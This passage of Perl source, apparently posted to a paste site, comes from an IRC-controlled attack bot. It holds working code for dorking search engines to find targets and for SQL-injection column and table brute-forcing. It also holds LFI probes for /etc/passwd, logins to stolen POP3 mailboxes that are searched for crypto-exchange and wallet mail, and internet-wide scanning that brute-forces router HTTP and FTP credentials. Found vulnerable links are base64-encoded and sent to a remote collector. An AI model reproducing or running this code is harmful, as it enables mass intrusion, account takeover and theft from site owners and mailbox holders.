  351. for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";}
  352. $dork = substr($dork,0,length($dork)-1);
  353. if(my $xid = fork){ waitpid($xid,0); }
  354. else{
  355. if(my $dad=fork){
  356. #send_msg($channel,"[SYS] Running system: $dork - Stop with !kill $nick $dad");
  357. exit;
  358. } else{ &pop3($dork); &nag($user,$password,$host); }
  359. exit;
  360. }
  361. }
  362.  
  363. elsif($irc_parsed1[3] eq ":!procs"){
  364. if(my $xid = fork){ waitpid($xid,0); }
  365. else{
  366. if(fork){ exit; } else{
  367. my @procs = split(/\n/,`ps aux | grep $0`);
  368. foreach(@procs){ send_msg($irc_parsed1[0],"[PROC] PS: $_"); sleep(2); }
  369. exit;
  370. }
  371. }
  372. }
  373. elsif(($irc_parsed1[3] eq ":!rfi") && ($irc_parsed1[5])){
  374. my($dork);
  375. for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";}
  376. $dork = substr($dork,0,length($dork)-1);
  377. my $sc1 = fork;
  378. if($sc1){ waitpid($sc1,0); } elsif($sc1 == 0){ my $sc2 = fork;
  379. if($sc2){ send_msg($irc_parsed1[0],"[RFI] Dork: \"$dork\" - Stop with !kill $nick $sc2"); exit; }
  380. elsif($sc2==0){
  381. send_msg($channel,"[RFI] Dork: \"$dork\" Starting");
  382. send_msg($channel,"[RFI] [Onet] Dork: \"$dork\" - Results: " . &rfi_onet($dork,"0")); $uc=0;
  383. if($#rfi_urls){ #send_msg($channel,"[RFI] Dork: \"$dork\" - Validating " . ($#rfi_urls+1) . " URL's");
  384. &url_validate("RFI","",@rfi_urls); send_msg($channel,"[RFI] Dork: \"$dork\" - Finished");
  385. }
  386. else{ send_msg($channel,"[RFI] [MULTISCAN] Dork: \"$dork\" Finished {NO URLS FOUND}"); }
  387. (@rfi_urls,@rfi_sites) = ();
  388. exit;
  389. }
  390. exit;
  391. }
  392. }
  393. elsif(($irc_parsed1[3] eq ":!lfi") && ($irc_parsed1[5])){
  394. my($dork,$com,$net,$org);
  395. for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";}
  396. $dork = substr($dork,0,length($dork)-1);
  397. my $sc1 = fork;
  398. if($sc1){ waitpid($sc1,0); } elsif($sc1 == 0){ my $sc2 = fork;
  399. if($sc2){ send_msg($irc_parsed1[0],"[LFI] Dork: \"$dork\" - Stop with !kill $nick $sc2"); exit; }
  400. elsif($sc2==0){
  401. $com = $dork."+site:com"; $net = $dork."+site:net"; $org = $dork."+site:org";
  402. send_msg($channel,"[LFI] [Onet] Dork: \"$dork\" - Results: " . &rfi_onet($dork,"0")); $uc=0;
  403. send_msg($channel,"[LFI] [Onet] Dork: \"$net\" - Results: " . &rfi_onet($net,"0")); $uc=0;
  404. send_msg($channel,"[LFI] [Onet] Dork: \"$com\" - Results: " . &rfi_onet($com,"0")); $uc=0;
  405. send_msg($channel,"[LFI] [Onet] Dork: \"$org\" - Results: " . &rfi_onet($org,"0")); $uc=0;
  406. if($#rfi_urls){ #send_msg($channel,"[RFI] Dork: \"$dork\" - Validating " . ($#rfi_urls+1) . " URL's");
  407. &url_validate("LFI","",@rfi_urls); send_msg($channel,"[LFI] Dork: \"$dork\" - Finished");
  408. } else{ send_msg($channel,"[LFI] [MULTISCAN] Dork: \"$dork\" Finished {NO URLS FOUND}"); }
  409. (@rfi_urls,@rfi_sites) = ();
  410. exit;
  411. }
  412. exit;
  413. }
  414. }
  415. elsif(($irc_parsed1[3] eq ":!sql") && ($irc_parsed1[5])){
  416. my($dork,$com,$net,$org);
  417. for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";}
  418. $dork = substr($dork,0,length($dork)-1);
  419. my $sc1 = fork; if($sc1){ waitpid($sc1,0); }
  420. elsif($sc1 == 0){ my $sc2 = fork;
  421. if($sc2){ send_msg($irc_parsed1[0],"[SQL] Dork: \"$dork\" - Stop with !kill $nick $sc2"); exit; }
  422. elsif($sc2==0){
  423. $com = $dork."+site:com"; $net = $dork."+site:net"; $org = $dork."+site:org";
  424. &rfi_onet($dork,"0"); $uc=0;
  425. &rfi_onet($net,"0"); $uc=0;
  426. &rfi_onet($com,"0"); $uc=0;
  427. &rfi_onet($org,"0"); $uc=0;
  428. if($#rfi_urls){ #send_msg($channel,"[SQL] Dork: \"$dork\" - Validating " . ($#rfi_urls+1) . " URL's");
  429. &url_validate("SQL","",@rfi_urls); #send_msg($channel,"[SQL] Dork: \"$dork\" - Finished");
  430. } else { send_msg($channel,"[SQL] [MULTISCAN] Dork: \"$dork\" Finished {NO URLS FOUND}"); }
  431. (@rfi_urls,@rfi_sites) = ();
  432. exit;
  433. }
  434. exit;
  435. }
  436. }
  437. elsif(($irc_parsed1[3] eq ":!dork") && ($irc_parsed1[6])){
  438. my($dork,$vPage); $vPage = $irc_parsed1[5];
  439. for(6..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";}
  440. $dork = substr($dork,0,length($dork)-1);
  441. my $sc1 = fork; if($sc1){ waitpid($sc1,0); }
  442. elsif($sc1 == 0){ my $sc2 = fork;
  443. if($sc2){ send_msg($irc_parsed1[0],"[DORK] Dork: \"$dork\" - Stop with !kill $nick $sc2"); exit; }
  444. elsif($sc2==0){
  445. send_msg($channel,"[DORK] Dork: \"$dork\" Starting");
  446. send_msg($channel,"[DORK] [ALLTHEWEB] Dork: \"$dork\" - Results: " . &rfi_onet($dork,"0")); $uc=0;
  447. if($#rfi_urls){ #send_msg($channel,"[DORK] Dork: \"$dork\" - Validating " . ($#rfi_urls+1) . " URL's");
  448. &url_validate("DORK",$vPage,@rfi_urls); send_msg($channel,"[DORK] Dork: \"$dork\" - Finished");
  449. } else{ send_msg($channel,"[DORK] Dork: \"$dork\" Finished {NO URLS FOUND}"); }
  450. (@rfi_urls,@rfi_sites) = ();
  451. exit;
  452. }
  453. exit;
  454. }
  455. }
  456. elsif(($irc_parsed1[3] eq ":!google") && ($irc_parsed1[5])){
  457. my($dork);
  458. for(5..$#irc_parsed1){$dork .= $irc_parsed1[$_] . " ";}
  459. $dork = substr($dork,0,length($dork)-1);
  460. my $sc1 = fork; if($sc1){ waitpid($sc1,0); }
  461. elsif($sc1 == 0){ my $sc2 = fork;
  462. if($sc2){ send_msg($irc_parsed1[0],"[GOO] Dork: \"$dork\" - Stop with !kill $nick $sc2"); exit; }
  463. elsif($sc2==0){
  464. send_msg($channel,"[GOO] Dork: \"$dork\" Starting");
  465. send_msg($channel,"[GOO] [GOOGLE] Dork: \"$dork\" - Results: " . &rfi_onet($dork,"0")); $uc=0;
  466. if($#rfi_urls){ #send_msg($channel,"[GOO] Dork: \"$dork\" - Validating " . ($#rfi_urls+1) . " URL's");
  467. &url_validate("RFI","",@rfi_urls); send_msg($channel,"[GOO] Dork: \"$dork\" - Finished");
  468. } else { send_msg($channel,"[GOO] [MULTISCAN] Dork: \"$dork\" Finished {NO URLS FOUND}"); }
  469. (@rfi_urls,@rfi_sites) = ();
  470. exit;
  471. }
  472. exit;
  473. }
  474. }
  475. ########}
  476. }
  477. }
  478. }
  479.  
  480. sub sqlbrute() {
  481. my $To=$channel;
  482. my $site=$_[0];
  483. my $columns=$_[1];
  484. my $cfin.="--";
  485. my $cmn.= "+";
  486. for($column=0;$column<$columns;$column++) {
  487. $union.=','.$column; $inyection.=','."0x566f6f5f446f6f";
  488. if ($column == 0) { $inyection = ''; $union = ''; }
  489. $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0x566f6f5f446f6f".$inyection.$cfin; print($sql."\n");
  490. $response=&getreq($sql) or print("[SQL]"," Failed to try to find the number of columns, check website\n");
  491. if($response =~ /Voo_Doo/) {
  492. $column ++;
  493. $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
  494. send_msg($channel,"[Sql-Brute] $sql"); &dodaj('sqltable', $sql);
  495. foreach $tabla(@tabele)
  496. {
  497. chomp($tabla);
  498. $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0x566f6f5f446f6f".$inyection.$cmn."from".$cmn.$tabla.$cfin;
  499. $response=&getreq($sql) or die("[-] Impossible to get tables\n");
  500. if($response =~ /Voo_Doo/) {
  501. print "\n[+] Table $tabla exists...saving in $ARGV[2]";
  502. $sql=$site."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
  503. send_msg($channel,"[Sql-Brute] $sql"); &dodaj('sqlcccc', $sql);
  504. }
  505. }
  506. }
  507. }
  508. }
  509.  
  510. sub lfibrute() {
  511. my $link = $_[0]."./../../../../../../../../../etc/passwd"; $response=&getreq($link);
  512. if ($response =~ /$lfi_text/) { send_msg($channel,"[LFI] $link"); &dodaj('lfi', $link); }
  513. my $link2 = $_[0]."./../../../../../../../../../etc/passwd%00"; print($link2."\n"); $response2=&getreq($link2);
  514. if ($response2 =~ /$lfi_text/) { send_msg($channel,"[LFI] $link2"); &dodaj('lfi', $link2); }
  515. }
  516.  
  517. use MIME::Base64;
  518.  
  519. sub dodaj() {
  520. my $co = $_[0]; my $link = $_[1]; my $linkraz = $_[2];
  521. my $links = encode_base64($link); my $lindwa = encode_base64($linkraz);
  522. $links=~s/\n//; $links=~s/\r//;$lindwa=~s/\n//; $lindwa=~s/\r//;
  523.  
  524. if($co eq "sqlczyste") { my $safet = $savev.'?co=sqlczyste&link='.$links; &getreq($safet); }
  525. elsif ($co eq "sqltable") { my $safet = $savev.'?co=sqltable&link='.$links; &getreq($safet); }
  526. elsif ($co eq "sqldone") { my $safet = $savev."?co=sqldone&link=".$links; &getreq($safet); }
  527. elsif ($co eq "sqlcccc") { my $safet = $savev."?co=sqlcccc&link=".$links; &getreq($safet); }
  528. #--------------------------------------------------------- _SQL
  529. elsif ($co eq "lfi") { my $safet = $savev."?co=lfi&vuln=".$links; &getreq($safet); }
  530. elsif ($co eq "lfi2rce") { my $safet = $savev.'?co=lfi2rce&link='.$links; &getreq($safet); }
  531. elsif ($co eq "lficonf") { my $safet = $savev.'?co=lficonf&link='.$links; &getreq($safet); }
  532. #--------------------------------------------------------- _LFI
  533.  
  534. }
  535.  
  536. sub pop3() {
  537. my $dork = $_[0]; print($dork."\n");
  538. my ($user,$password)=split(/:/,$dork);
  539. my ($lol,$host) = split(/@/,$user);
  540. #&send_msg($channel,"Dork: $dork USer: $user Pass: $password Dom $host Lol: $lol ");
  541. if($sockz = new IO::Socket::INET(PeerAddr => $host,PeerPort => 110,Proto => 'tcp',Timeout=>'1')) {
  542. $n = sysread($sockz, $buffer, 4096);
  543. if (substr($buffer, 0, 3) ne "+OK") { print "Problem with pop server\n"; exit(0); } else { print "$buffer"."Opening message successfully read\n"; }
  544.  
  545. $buffer = "USER $user\r\n";
  546. syswrite($sockz, $buffer, length($buffer));
  547. $n = sysread($sockz, $buffer, 4096);
  548. if (substr($buffer, 0, 3) ne "+OK") { print "Username incorrect\n"; exit(0); } else { print "USER command successfully sent\n$buffer"; }
  549.  
  550. $buffer = "PASS $password\r\n";
  551. syswrite($sockz, $buffer, length($buffer));
  552. $n = sysread($sockz, $buffer, 4096);
  553. if (substr($buffer, 0, 3) ne "+OK") { print "Password incorrect\n"; exit(0); } else { print "PASS command successfully sent\n$buffer"; }
  554.  
  555. $buffer = "STAT\r\n";
  556. syswrite($sockz, $buffer, length($buffer));
  557. $n = sysread($sockz, $buffer, 4096);
  558. chop $buffer; chop $buffer;
  559. ($OK, $messages, $octets) = split(/ /, $buffer, 3);
  560. if ($OK ne "+OK") { print "STAT command error\n"; exit(0); } else { print "STAT command successfully sent\n$buffer\n"; }
  561. $mess = "message"; if ($messages != 1) { $mess.= "s"; } $octmess = "octet"; if ($octets != 1) { $octmess.= "s"; }
  562. print "POP server \"$host\" has $messages $mess "; print "for \"$user\" ($octets $octmess)\n";
  563. &send_msg($channel," $user:$password Email: has $messages $mess Server pop3: $host "); sleep(2);
  564. &nag($user,$password,$host);
  565.  
  566. $buffer = "QUIT\r\n";
  567. syswrite($sockz, $buffer, length($buffer));
  568. $n = sysread($sockz, $buffer, 4096);
  569. if (substr($buffer, 0, 3) ne "+OK") { print "QUIT command error\n"; exit(0); } else { print "QUIT command successfully sent\n $buffer"; }
  570.  
  571. close ($sockz);
  572. } exit(0);
  573. }
  574.  
  575. sub nag() {
  576. my $riri; my $lu; my $i;
  577. my $username = $_[0]; my $password = $_[1]; my $domena = $_[2]; print($username,$password,$domena."zzzzzzzzzzzzzzzzzzzzzzzzzz\n");
  578. $riri = new Mail::POP3Client( USER => $username, PASSWORD => $password, HOST => $domena );
  579. for ($i = 1; $i <= $riri->Count(); $i++) {
  580. foreach ( $riri->Head( $i ) ) { /^(From|Subject):\s+/i and $lu = $_;
  581. # foreach ( $riri->Head( $i ) ) { /^(From):\s+/i and $lu = $_;
  582. print($lu."\n");
  583. #--------------------------- $$$
  584. if($lu =~ /zxc/){ &send_msg($channel,"Email search engone Login: $username Passwd: $password Found Word:hajs/blockchain"); }
  585. elsif($lu =~ /4coins/){ &send_msg($channel,"Email search engone Login: $username Passwd: $password Found Word:hajs/4coins"); }
  586. elsif($lu =~ /bitmarket/){ &send_msg($channel,"Email search engone Login: $username Passwd: $password Found Word:hajs/bitmarket"); }
  587. elsif($lu =~ /dgtmarket/){ &send_msg($channel,"Email search engone Login: $username Passwd: $password Found Word:hajs/dgtmarket"); }
  588.  
  589. elsif($lu =~ /bitbay/){ &send_msg($channel,"Email search engone Login: $username Passwd: $password Found Word:hajs/bitbay"); }
  590. elsif($lu =~ /BitBay/){ &send_msg($channel,"Email search engone Login: $username Passwd: $password Found Word:hajs/bitbay"); }
  591. elsif($lu =~ /wallet/){ &send_msg($channel,"Email search engone Login: $username Passwd: $password Found Word:wallet"); }
  592.  
  593. }
  594.  
  595.  
  596. } }
  597.  
  598.  
  599.  
  600. sub router_ftp() {
  601. my ($host) = shift;
  602. my ($zuser,$zpass);
  603. my $ftp = Net::FTP->new($host,Timeout=>'1') or return;
  604.  
  605.  
  606. # grab banner
  607. my $banner = $ftp->message;
  608. $banner =~ s/\n/ /g;
  609. &send_msg($channel,"Anonymous FTP: ftp://$host/ Banner: $banner");
  610. foreach my $cred(@http_AU_Voo) {
  611.  
  612. my ($zuser,$zpass)=split(/:/,$cred);
  613. #print($zuser, $zpass."\n");
  614. #
  615.  
  616. if($ftp->login($zuser, $zpass)) {
  617. &send_msg($channel,'crac FTP: ftp://'.$zuser.':'.$zpass.'\@$host ');
  618.  
  619. &send_msg($channel,"ftp://$zuser:$zpass\@$host");
  620. # print($user, $pass."\n");
  621. $ftp->quit;
  622. #$zpm->finish;
  623. return;
  624. } else {
  625. next;
  626.  
  627.  
  628.  
  629.  
  630. # return;
  631.  
  632. # Anonymous checker
  633. if ($ftp->login('anonymous', 'no@gov.com')) {
  634.  
  635. &send_msg($channel,"Anonymous FTP: ftp://$host/ Banner: $banner");
  636. } else {
  637. &send_msg($channel,"Anonymous FTP: ftp://$host/ Banner: $banner");
  638.  
  639.  
  640. return;
  641. } # end anonymous
  642.  
  643.  
  644.  
  645.  
  646. } }
  647.  
  648.  
  649. } # end brute force
  650.  
  651. sub router_attack()
  652. {
  653. my $target=shift;
  654. if ($sox = IO::Socket::INET->new(PeerAddr=>$target,PeerPort=>80,Proto=>'tcp',Timeout=>'1'))
  655. { print($target." OPEN\n");
  656. my $cos = "http://".$target."/";
  657. my $strona = &getreq($cos);
  658. if($strona =~ /<title>(.*)<\/title>/i)
  659. {
  660. sleep(2); #send_msg($channel,"[Open] http://".$target."/ => $1");
  661. # print $pwnage_ban "$1 => $cos \n";
  662. }
  663. if($strona=~/401|unauthorized|Authentication|Protected Object|Protected/i)
  664. {
  665. # &msg('[DEBUG] => Odkrylem 401 ... napierdalaaamy $target !');
  666. &passwd($target);
  667. }
  668. else
  669. {
  670. # &msg('[DEBUG]','Kurwa, cos nie tak z soketem, moj Wladco Karaluchow ;D');
  671. }
  672. close $sox;
  673. }
  674. }
  675. sub passwdftp() {
  676. my $ss; my $host = $_[0];
  677. my $ftp = Net::FTP->new($host,Timeout=>'3') or return;
  678. }
  679. sub passwd()
  680. {
  681. my $ip = "http://".$_[0]."/";
  682. foreach my $cred(@http_AU_Voo)
  683. {
  684. my $ua = LWP::UserAgent->new;
  685. my $req = HTTP::Request->new(GET => $ip);
  686. my ($user,$pass)=split(/:/,$cred);
  687. $req->authorization_basic($user,$pass);
  688. my $te = $ua->request($req)->as_string;
  689. if($te =~ /HTTP\/1.1 200 OK/)
  690. { if($pass =~ /to_JEST_FEJK/) { exit; }
  691. #print("$ip $user $pass");
  692. &send_msg($channel,"V_Cracked > ".$ip." Login $user Password $pass");
  693. # TUTAJ SUB DODAJ BEDZIE
  694. # print $pwnage_has "$ip:$user:$pass \n";
  695. my $jedne = $ip;
  696. my $dwa = $user.":".$pass;
  697. #spread::dodaj('router',$jedne,$dwa);
  698. return;
  699. }
  700. }
  701. }
  702. #UKRUCIIC TE GOWNO DOWN
  703. sub main {
  704.  
  705. my($ipa, $ipb, $ipc, $ipd) = ($_[0] =~ m/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/) or die("Append start IP.\n");
  706. my $dwa=$_[1];
  707. print "Start scanning...\nBe patient.\n";
  708. my $OUTPUT_AUTOFLUSH = 1; # To avoid buffering problems with fork()
  709. # loop through IPs
  710. while (1) {
  711. for my $a ($ipa..255) {
  712.  
  713. if ($a == 10 || $a == 198 || $a == 127 || $a == 0 || $a == 172 || $a == 1) { next; }
  714.  
  715. for my $b ($ipb..255) {
  716. for my $c ($ipc..255) {
  717. for my $d ($ipd..255) {
  718.  
  719. if (fork() == 0) {
  720. #print "$a.$b.$c.$d\n"; # Uncomment for verbose output
  721. if($dwa eq "rou") { &router_attack("$a.$b.$c.$d"); }
  722. if($dwa eq "ftp") { &router_ftp("$a.$b.$c.$d"); }
  723. exit;
  724. } else {
  725. $childs++;
  726. if ($childs >= $config{'max_childs'}) { wait(); $childs--; }
  727. }
  728.  
  729. } # end $d
  730. } # end $c
  731. } # end $b
  732. } #end $a
  733.  
  734. } # end while
  735.  
  736. } #end main()
  737.  
  738. use LWP::Simple;
  739. ###------------ Pobierz
  740. sub getstore ($$)
  741. {
  742.  
  743. my $url = shift;
  744. my $file = shift;
  745. system("wget ".$url." -O ".$file);
  746.  
  747. $http_stream_out = 1;
  748. open(GET_OUTFILE, "> $file");
  749. %http_loop_check = ();
  750. _get($url);
  751. close GET_OUTFILE;
  752. return $main::http_get_result;
  753. }
  754.  
  755. sub _get
  756. {
  757. my $url = shift;
  758. my $proxy = "";
  759. grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  760. if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  761. my $host = $1;
  762. my $port = $2 || 80;
  763. my $path = $3;
  764. $path = "/" unless defined($path);
  765. return _trivial_http_get($host, $port, $path);
  766. } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  767. my $host = $1;
  768. my $port = $2;
  769. my $path = $url;
  770. return _trivial_http_get($host, $port, $path);
  771. } else {
  772. return undef;
  773. }
  774. }
  775.  
  776.  
  777. sub _trivial_http_get
  778. {
  779. my($host, $port, $path) = @_;
  780. my($AGENT, $VERSION, $p);
  781. $AGENT = "get-minimal";
  782. $VERSION = "20000118";
  783. $path =~ s/ /%20/g;
  784.  
  785. require IO::Socket;
  786. local($^W) = 0;
  787. my $sock = IO::Socket::INET->new(PeerAddr => $host,
  788. PeerPort => $port,
  789. Proto => 'tcp',
  790. Timeout => 60) || return;
  791. $sock->autoflush;
  792. my $netloc = $host;
  793. $netloc .= ":$port" if $port != 80;
  794. my $request = "GET $path HTTP/1.0\015\012"
  795. . "Host: $netloc\015\012"
  796. . "User-Agent: $AGENT/$VERSION/u\015\012";
  797. $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  798. $request .= "\015\012";
  799. print $sock $request;
  800.  
  801. my $buf = "";
  802. my $n;
  803. my $b1 = "";
  804. while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  805. if ($b1 eq "") {
  806. $b1 = $buf;
  807. $buf =~ s/.+?\015?\012\015?\012//s;
  808. }
  809. if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  810. }
  811. return undef unless defined($n);
  812. $main::http_get_result = 200;
  813. if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  814. $main::http_get_result = $1;
  815. if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
  816. my $url = $1;
  817. return undef if $http_loop_check{$url}++;
  818. return _get($url);
  819. }
  820. return undef unless $main::http_get_result =~ /^2/;
  821. }
  822.  
  823. return $buf;
  824. }
Add Comment
Please, Sign In to add comment